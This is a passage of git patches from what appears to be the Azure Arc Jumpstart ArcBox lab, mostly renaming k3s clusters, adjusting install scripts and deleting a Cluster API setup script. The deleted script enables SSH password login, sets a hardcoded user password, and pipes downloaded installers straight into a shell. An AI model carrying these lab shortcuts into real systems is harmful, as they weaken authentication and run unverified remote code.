"$aksArcClusterName-dc" ; customLocation = "$aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks" } diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 5e6957f823..fee32318cc 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -18,7 +18,7 @@ $certdns = "arcbox.devops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" $clusters = @( - [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = "$namingPrefix-datasvc-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } + [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = "$namingPrefix-k3s-datasvc" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = "$namingPrefix-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s" } ) @@ -37,7 +37,7 @@ if(-not $($cliDir.Parent.Attributes.HasFlag([System.IO.FileAttributes]::Hidden)) $Env:AZURE_CONFIG_DIR = $cliDir.FullName -$Env:k3sArcDataClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-DataSvc-K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcDataClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-k3s-datasvc" | Where-Object { $_ -ne "" } $Env:k3sArcDataClusterName=$Env:k3sArcDataClusterName -replace "`n","" $Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s" | Where-Object { $_ -ne "" } @@ -48,13 +48,13 @@ Write-Header "Az CLI Login" az login --identity az account set -s $env:subscriptionId -# Downloading ArcBox-DataSvc-K3s Kubernetes cluster kubeconfig file -Write-Header "Downloading $namingPrefix-DataSvc-K3s K8s Kubeconfig" +# Downloading ArcBox-k3s-datasvc Kubernetes cluster kubeconfig file +Write-Header "Downloading $namingPrefix-k3s-datasvc K8s Kubeconfig" $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/config" azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config" -# Downloading ArcBox-DataSvc-K3s log file -Write-Header "Downloading $namingPrefix-DataSvc-K3s Install Logs" +# Downloading ArcBox-k3s-datasvc log file +Write-Header "Downloading $namingPrefix-k3s-datasvc Install Logs" $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/*" $sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" @@ -71,8 +71,8 @@ $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($E $sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" -# # Merging kubeconfig files from ArcBox-DataSvc-K3s and ArcBox-K3s -# Write-Header "Merging ArcBox-DataSvc-K3s & ArcBox-K3s Kubeconfigs" +# # Merging kubeconfig files from ArcBox-k3s-datasvc and ArcBox-K3s +# Write-Header "Merging ArcBox-k3s-datasvc & ArcBox-K3s Kubeconfigs" # Copy-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Destination "C:\Users\$Env:USERNAME\.kube\config.backup" # $Env:KUBECONFIG="C:\Users\$Env:USERNAME\.kube\config;C:\Users\$Env:USERNAME\.kube\config-k3s" # kubectl config view --raw > C:\users\$Env:USERNAME\.kube\config_tmp @@ -263,9 +263,9 @@ $kubeVipDaemonset | kubectl apply -f - Write-Host "`n" } -# Switch Kubernetes context to ArcBox-DataSvc-K3s cluster +# Switch Kubernetes context to ArcBox-k3s-datasvc cluster foreach ($cluster in $clusters) { - if ($cluster.context -like '*-datasvc-k3s') { + if ($cluster.context -like '*-k3s-datasvc') { $Env:KUBECONFIG=$cluster.kubeConfig kubectx } diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 index dc246f9f66..4295dba813 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 @@ -4,7 +4,7 @@ $certdns = "arcbox.devops.com" Start-Transcript -Path $Env:ArcBoxLogsDir\ResetBookstore.log -# Switch kubectl context to arcbox-datasvc-k3s +# Switch kubectl context to arcbox-k3s-datasvc $Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config" kubectx diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 747ffd9288..22aea935a4 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -78,7 +78,7 @@ param namingPrefix string = 'ArcBox' var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' var aksArcDataClusterName = '${namingPrefix}-AKS-Data-${guid}' var aksDrArcDataClusterName = '${namingPrefix}-AKS-DR-Data-${guid}' -var k3sArcDataClusterName = '${namingPrefix}-DataSvc-K3s-${guid}' +var k3sArcDataClusterName = '${namingPrefix}-K3s-DataSvc-${guid}' var k3sArcClusterName = '${namingPrefix}-K3s-${guid}' var k3sClusterNodesCount = 3 // Number of nodes to deploy in the K3s cluster From f82b133f6bfb3a6ea378b8c0d9d4c941af23ccb9 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Tue, 13 Aug 2024 11:16:21 -0400 Subject: [PATCH 468/506] update k3s clsuters name --- .../artifacts/DevOpsLogonScript.ps1 | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index fee32318cc..cc6338bbae 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -37,7 +37,7 @@ if(-not $($cliDir.Parent.Attributes.HasFlag([System.IO.FileAttributes]::Hidden)) $Env:AZURE_CONFIG_DIR = $cliDir.FullName -$Env:k3sArcDataClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-k3s-datasvc" | Where-Object { $_ -ne "" } +$Env:k3sArcDataClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s-DataSvc" | Where-Object { $_ -ne "" } $Env:k3sArcDataClusterName=$Env:k3sArcDataClusterName -replace "`n","" $Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s" | Where-Object { $_ -ne "" } @@ -48,13 +48,13 @@ Write-Header "Az CLI Login" az login --identity az account set -s $env:subscriptionId -# Downloading ArcBox-k3s-datasvc Kubernetes cluster kubeconfig file -Write-Header "Downloading $namingPrefix-k3s-datasvc K8s Kubeconfig" +# Downloading ArcBox-K3s-DataSvc Kubernetes cluster kubeconfig file +Write-Header "Downloading $namingPrefix-K3s-DataSvc K8s Kubeconfig" $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/config" azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config" -# Downloading ArcBox-k3s-datasvc log file -Write-Header "Downloading $namingPrefix-k3s-datasvc Install Logs" +# Downloading ArcBox-K3s-DataSvc log file +Write-Header "Downloading $namingPrefix-K3s-DataSvc Install Logs" $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/*" $sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" @@ -71,8 +71,8 @@ $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($E $sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" -# # Merging kubeconfig files from ArcBox-k3s-datasvc and ArcBox-K3s -# Write-Header "Merging ArcBox-k3s-datasvc & ArcBox-K3s Kubeconfigs" +# # Merging kubeconfig files from ArcBox-K3s-DataSvc and ArcBox-K3s +# Write-Header "Merging ArcBox-K3s-DataSvc & ArcBox-K3s Kubeconfigs" # Copy-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Destination "C:\Users\$Env:USERNAME\.kube\config.backup" # $Env:KUBECONFIG="C:\Users\$Env:USERNAME\.kube\config;C:\Users\$Env:USERNAME\.kube\config-k3s" # kubectl config view --raw > C:\users\$Env:USERNAME\.kube\config_tmp @@ -263,9 +263,9 @@ $kubeVipDaemonset | kubectl apply -f - Write-Host "`n" } -# Switch Kubernetes context to ArcBox-k3s-datasvc cluster +# Switch Kubernetes context to ArcBox-K3s-DataSvc cluster foreach ($cluster in $clusters) { - if ($cluster.context -like '*-k3s-datasvc') { + if ($cluster.context -like '*-K3s-DataSvc') { $Env:KUBECONFIG=$cluster.kubeConfig kubectx } From 7ec06e1b4ddbeb9dc939c16e5d22fb1f0bfecc20 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Tue, 13 Aug 2024 11:19:22 -0400 Subject: [PATCH 469/506] update k3s clsuters name --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index cc6338bbae..b31d89ea3e 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -265,7 +265,7 @@ $kubeVipDaemonset | kubectl apply -f - # Switch Kubernetes context to ArcBox-K3s-DataSvc cluster foreach ($cluster in $clusters) { - if ($cluster.context -like '*-K3s-DataSvc') { + if ($cluster.context -like '*-k3s-datasvc') { $Env:KUBECONFIG=$cluster.kubeConfig kubectx } From a95e4ef4701305b368eac21d2d85750eef47c7a6 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Tue, 13 Aug 2024 11:59:29 -0400 Subject: [PATCH 470/506] Updated main.bicep to keep naming standard consistent --- azure_jumpstart_arcbox/bicep/main.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 22aea935a4..d297befebf 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -78,7 +78,7 @@ param namingPrefix string = 'ArcBox' var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' var aksArcDataClusterName = '${namingPrefix}-AKS-Data-${guid}' var aksDrArcDataClusterName = '${namingPrefix}-AKS-DR-Data-${guid}' -var k3sArcDataClusterName = '${namingPrefix}-K3s-DataSvc-${guid}' +var k3sArcDataClusterName = '${namingPrefix}-K3s-Data-${guid}' var k3sArcClusterName = '${namingPrefix}-K3s-${guid}' var k3sClusterNodesCount = 3 // Number of nodes to deploy in the K3s cluster From 8b9979779e5deeb41ceb1e6a067fb110c2aa1cb9 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 16:21:58 +0000 Subject: [PATCH 471/506] Update to installation of Azure Monitor Containers, Microsoft Azure Defender Kubernetes, and Azure Policy extensions Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 41276743d4..fcc4ea784c 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -193,6 +193,7 @@ echo "" if is_extension_installed "azuremonitor-containers"; then echo "Extension 'azuremonitor-containers' is already installed." else + echo "Extension 'azuremonitor-containers' is not installed - triggering installation" sudo -u $adminUsername az k8s-extension create -n "azuremonitor-containers" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors fi @@ -200,6 +201,7 @@ fi if is_extension_installed "microsoft.azuredefender.kubernetes"; then echo "Extension 'microsoft.azuredefender.kubernetes' is already installed." else + echo "Extension 'microsoft.azuredefender.kubernetes' is not installed - triggering installation" sudo -u $adminUsername az k8s-extension create -n "microsoft.azuredefender.kubernetes" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureDefender.Kubernetes --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors fi @@ -212,6 +214,7 @@ echo "" if is_extension_installed "azurepolicy"; then echo "Extension 'azurepolicy' is already installed." else + echo "Extension 'azurepolicy' is not installed - triggering installation" sudo -u $adminUsername az k8s-extension create --name "azurepolicy" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.PolicyInsights --only-show-errors fi From 214d36b21829dd6daa49e187ffc2541c340e3d76 Mon Sep 17 00:00:00 2001 From: Mike Rhoads Date: Tue, 13 Aug 2024 11:33:40 -0500 Subject: [PATCH 472/506] remove bookbuyer tabs --- azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 b/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 index 6354717a4c..914184b127 100644 --- a/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 +++ b/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 @@ -1,2 +1,2 @@ -Start-Process -FilePath msedge -ArgumentList '--new-window http://arcbox.devops.com/bookbuyer http://arcbox.devops.com/bookstore http://arcbox.devops.com/bookstore-v2' +Start-Process -FilePath msedge -ArgumentList '--new-window http://arcbox.devops.com/bookstore' [Environment]::Exit(1) From 52dadd3255b12ddf8af5173df201f25e8c9d71e5 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 16:43:04 +0000 Subject: [PATCH 473/506] Added exit 0, errors will be caught by tests and found in logs Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index fcc4ea784c..5564d7c98a 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -248,4 +248,6 @@ echo "" exec 1>&3 2>&4 # Further commands will now output to the original stdout and stderr and not the log file log="/home/$adminUsername/jumpstart_logs/installK3s-$vmName.log" storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') -azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmName.log" --check-length=false >/dev/null 2>&1 \ No newline at end of file +azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmName.log" --check-length=false >/dev/null 2>&1 + +exit 0 \ No newline at end of file From 9831b4174eddc0a20a0b817799f208b4dd5e067f Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Tue, 13 Aug 2024 15:48:42 -0400 Subject: [PATCH 474/506] Update DevOpsLogonScript.ps1 --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index b31d89ea3e..fd5f2e30b1 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -37,7 +37,7 @@ if(-not $($cliDir.Parent.Attributes.HasFlag([System.IO.FileAttributes]::Hidden)) $Env:AZURE_CONFIG_DIR = $cliDir.FullName -$Env:k3sArcDataClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s-DataSvc" | Where-Object { $_ -ne "" } +$Env:k3sArcDataClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s-Data" | Where-Object { $_ -ne "" } $Env:k3sArcDataClusterName=$Env:k3sArcDataClusterName -replace "`n","" $Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s" | Where-Object { $_ -ne "" } From 8f622a25db29cca7efc1a2eef0d7bea930ebce74 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 21:02:38 +0000 Subject: [PATCH 475/506] Enable Windows Firewall rule for SQL Server Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 703dcc6412..fa73931047 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -199,6 +199,9 @@ if ($Env:flavor -ne "DevOps") { } + # Enable Windows Firewall rule for SQL Server + Invoke-Command -VMName $SQLvmName -ScriptBlock { New-NetFirewallRule -DisplayName "Allow SQL Server TCP 1433" -Direction Inbound -Protocol TCP -LocalPort 1433 -Action Allow } -Credential $winCreds + # Download SQL assessment preparation script Invoke-WebRequest ($Env:templateBaseUrl + "artifacts/prepareSqlServerForAssessment.ps1") -OutFile $nestedVMArcBoxDir\prepareSqlServerForAssessment.ps1 Copy-VMFile $SQLvmName -SourcePath "$Env:ArcBoxDir\prepareSqlServerForAssessment.ps1" -DestinationPath "$nestedVMArcBoxDir\prepareSqlServerForAssessment.ps1" -CreateFullPath -FileSource Host -Force From 5b2f57d73dd213224a1a3375dd12ad5cef4616f9 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 14 Aug 2024 00:10:33 +0300 Subject: [PATCH 476/506] delete InstallCAPI --- .../artifacts/installCAPI.sh | 296 ------------------ 1 file changed, 296 deletions(-) delete mode 100644 azure_jumpstart_arcbox/artifacts/installCAPI.sh diff --git a/azure_jumpstart_arcbox/artifacts/installCAPI.sh b/azure_jumpstart_arcbox/artifacts/installCAPI.sh deleted file mode 100644 index 973e122300..0000000000 --- a/azure_jumpstart_arcbox/artifacts/installCAPI.sh +++ /dev/null @@ -1,296 +0,0 @@ -#!/bin/bash -exec >installCAPI.log -exec 2>&1 - -sudo apt-get update - -sudo sed -i "s/PasswordAuthentication no/PasswordAuthentication yes/" /etc/ssh/sshd_config -sudo adduser staginguser --gecos "First Last,RoomNumber,WorkPhone,HomePhone" --disabled-password -sudo echo "staginguser:ArcPassw0rd" | sudo chpasswd - -# Injecting environment variables from Azure deployment -echo '#!/bin/bash' >> vars.sh -echo $adminUsername:$1 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_CLIENT_ID:$2 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_CLIENT_SECRET:$3 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_TENANT_ID:$4 | awk '{print substr($1,2); }' >> vars.sh -echo $vmName:$5 | awk '{print substr($1,2); }' >> vars.sh -echo $location:$6 | awk '{print substr($1,2); }' >> vars.sh -echo $stagingStorageAccountName:$7 | awk '{print substr($1,2); }' >> vars.sh -echo $logAnalyticsWorkspace:$8 | awk '{print substr($1,2); }' >> vars.sh -echo $capiArcDataClusterName:$9 | awk '{print substr($1,2); }' >> vars.sh -echo $templateBaseUrl:${10} | awk '{print substr($1,2); }' >> vars.sh -echo $flavor:${11} | awk '{print substr($1,2); }' >> vars.sh -sed -i '2s/^/export adminUsername=/' vars.sh -sed -i '3s/^/export SPN_CLIENT_ID=/' vars.sh -sed -i '4s/^/export SPN_CLIENT_SECRET=/' vars.sh -sed -i '5s/^/export SPN_TENANT_ID=/' vars.sh -sed -i '6s/^/export vmName=/' vars.sh -sed -i '7s/^/export location=/' vars.sh -sed -i '8s/^/export stagingStorageAccountName=/' vars.sh -sed -i '9s/^/export logAnalyticsWorkspace=/' vars.sh -sed -i '10s/^/export capiArcDataClusterName=/' vars.sh -sed -i '11s/^/export templateBaseUrl=/' vars.sh -sed -i '12s/^/export flavor=/' vars.sh - -chmod +x vars.sh -. ./vars.sh - -# Creating login message of the day (motd) -sudo curl -o /etc/profile.d/welcomeCAPI.sh ${templateBaseUrl}artifacts/welcomeCAPI.sh - -# Syncing this script log to 'jumpstart_logs' directory for ease of troubleshooting -sudo -u $adminUsername mkdir -p /home/${adminUsername}/jumpstart_logs -while sleep 1; do sudo -s rsync -a /var/lib/waagent/custom-script/download/0/installCAPI.log /home/${adminUsername}/jumpstart_logs/installCAPI.log; done & - -# Installing Azure CLI & Azure Arc extensions -curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - -sudo -u $adminUsername az extension add --name connectedk8s -sudo -u $adminUsername az extension add --name k8s-configuration -sudo -u $adminUsername az extension add --name k8s-extension - -echo "Log in to Azure" -sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID -subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) -sudo -u $adminUsername az account set -s $subscriptionId -export AZURE_RESOURCE_GROUP=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) -az -v -echo "" - -echo "Registering resource providers" - -sudo -u $adminUsername az provider register --namespace Microsoft.Kubernetes --wait -sudo -u $adminUsername az provider register --namespace Microsoft.KubernetesConfiguration --wait -sudo -u $adminUsername az provider register --namespace Microsoft.ExtendedLocation --wait -sudo -u $adminUsername az provider register --namespace Microsoft.AzureArcData --wait - -echo "" - -# Installing snap -sudo apt install snapd - -# Installing jq -sudo apt install jq -y - -# Installing kustomize -sudo snap install kustomize - -# Set CAPI deployment environment variables -export KUBECTL_VERSION="1.28/stable" # Do not change! -export CLUSTERCTL_VERSION="1.5.2" # Do not change! -export CAPI_PROVIDER="azure" # Do not change! -export CAPI_PROVIDER_VERSION="1.7.6" # Do not change! -export KUBERNETES_VERSION="1.28.2" # Do not change! -export CALICO_VERSION="v3.25.2" # Do not change! -export AZURE_DISK_CSI_DRIVER_VERSION="1.29.0" # Do not change! -export K3S_VERSION="1.28.2+k3s1" # Do not change! -export AZURE_ENVIRONMENT="AzurePublicCloud" # Do not change! -export CONTROL_PLANE_MACHINE_COUNT="3" # Do not change! -export WORKER_MACHINE_COUNT="3" -export AZURE_LOCATION=$location # Name of the Azure datacenter location. -export CLUSTER_NAME=$(echo "${capiArcDataClusterName,,}") # Converting to lowercase case variable > # Name of the CAPI workload cluster. Must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character (e.g. 'example.com', regex used for validation is '[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*') -export AZURE_SUBSCRIPTION_ID=$subscriptionId -export AZURE_TENANT_ID=$SPN_TENANT_ID -export AZURE_CLIENT_ID=$SPN_CLIENT_ID -export AZURE_CLIENT_SECRET=$SPN_CLIENT_SECRET -export AZURE_CONTROL_PLANE_MACHINE_TYPE="Standard_B4ms" -if [ $flavor = "DevOps" ]; then - export AZURE_NODE_MACHINE_TYPE="Standard_B2ms" -else - export AZURE_NODE_MACHINE_TYPE="Standard_B8ms" -fi - -# Base64 encode the variables - Do not change! -export AZURE_SUBSCRIPTION_ID_B64="$(echo -n "$subscriptionId" | base64 | tr -d '\n')" -export AZURE_TENANT_ID_B64="$(echo -n "$SPN_TENANT_ID" | base64 | tr -d '\n')" -export AZURE_CLIENT_ID_B64="$(echo -n "$SPN_CLIENT_ID" | base64 | tr -d '\n')" -export AZURE_CLIENT_SECRET_B64="$(echo -n "$SPN_CLIENT_SECRET" | base64 | tr -d '\n')" - -# Settings needed for AzureClusterIdentity used by the AzureCluster -export AZURE_CLUSTER_IDENTITY_SECRET_NAME="cluster-identity-secret" -export CLUSTER_IDENTITY_NAME="cluster-identity" -export AZURE_CLUSTER_IDENTITY_SECRET_NAMESPACE="default" - -# Installing kubectl -sudo snap install kubectl --channel=$KUBECTL_VERSION --classic - -# Installing Rancher K3s cluster (single control plane) -echo "" -sudo mkdir ~/.kube -sudo -u $adminUsername mkdir /home/${adminUsername}/.kube -curl -sfL https://get.k3s.io | INSTALL_K3S_EXEC="server --disable traefik" INSTALL_K3S_VERSION=v${K3S_VERSION} sh - -sudo chmod 644 /etc/rancher/k3s/k3s.yaml -sudo kubectl config rename-context default arcboxcapimgmt --kubeconfig /etc/rancher/k3s/k3s.yaml -sudo cp /etc/rancher/k3s/k3s.yaml ~/.kube/config -sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config -sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config-mgmt -sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config.staging -sudo chown -R $adminUsername /home/${adminUsername}/.kube/ -sudo chown -R staginguser /home/${adminUsername}/.kube/config.staging - -export KUBECONFIG=/etc/rancher/k3s/k3s.yaml -kubectl config set-context arcboxcapimgmt - -# Installing clusterctl -echo "" -curl -L https://github.com/kubernetes-sigs/cluster-api/releases/download/v${CLUSTERCTL_VERSION}/clusterctl-linux-amd64 -o clusterctl -sudo chmod +x ./clusterctl -sudo mv ./clusterctl /usr/local/bin/clusterctl -clusterctl version - -# Installing Helm 3 -echo "" -sudo snap install helm --classic - -echo "" -echo "Making sure Rancher K3s cluster is ready..." -echo "" -sudo kubectl wait --for=condition=Available --timeout=60s --all deployments -A >/dev/null -sudo kubectl get nodes -o wide | expand | awk 'length($0) > length(longest) { longest = $0 } { lines[NR] = $0 } END { gsub(/./, "=", longest); print "/=" longest "=\\"; n = length(longest); for(i = 1; i <= NR; ++i) { printf("| %s %*s\n", lines[i], n - length(lines[i]) + 1, "|"); } print "\\=" longest "=/" }' -echo "" - -# Creating a secret to include the password of the Service Principal identity created in Azure -# This secret will be referenced by the AzureClusterIdentity used by the AzureCluster -kubectl create secret generic "${AZURE_CLUSTER_IDENTITY_SECRET_NAME}" --from-literal=clientSecret="${AZURE_CLIENT_SECRET}" - -# Converting the Rancher K3s cluster to a Cluster API management cluster -echo "Converting the Kubernetes cluster to a management cluster with the Cluster API Azure Provider (CAPZ)..." -clusterctl init --infrastructure=azure:v${CAPI_PROVIDER_VERSION} --wait-providers -echo "Making sure cluster is ready..." -echo "" -sudo kubectl wait --for=condition=Available --timeout=60s --all deployments -A >/dev/null -echo "" - -# Creating CAPI Workload cluster yaml manifest -echo "Deploying Kubernetes workload cluster" -echo "" -sudo curl -o capz_kustomize/patches/AzureCluster.yaml --create-dirs ${templateBaseUrl}artifacts/capz_kustomize/patches/AzureCluster.yaml -sudo curl -o capz_kustomize/patches/Cluster.yaml ${templateBaseUrl}artifacts/capz_kustomize/patches/Cluster.yaml -sudo curl -o capz_kustomize/patches/KubeadmControlPlane.yaml ${templateBaseUrl}artifacts/capz_kustomize/patches/KubeadmControlPlane.yaml -sudo curl -o capz_kustomize/kustomization.yaml ${templateBaseUrl}artifacts/capz_kustomize/kustomization.yaml -sed -e "s|CAPI_PROVIDER_VERSION|v$CAPI_PROVIDER_VERSION|" -i capz_kustomize/kustomization.yaml -kubectl kustomize capz_kustomize/ > jumpstart.yaml -clusterctl generate yaml --from jumpstart.yaml > template.yaml - -# Creating Microsoft Defender for Cloud audit secret -echo "" -echo "Creating Microsoft Defender for Cloud audit secret" -echo "" -curl -o audit.yaml 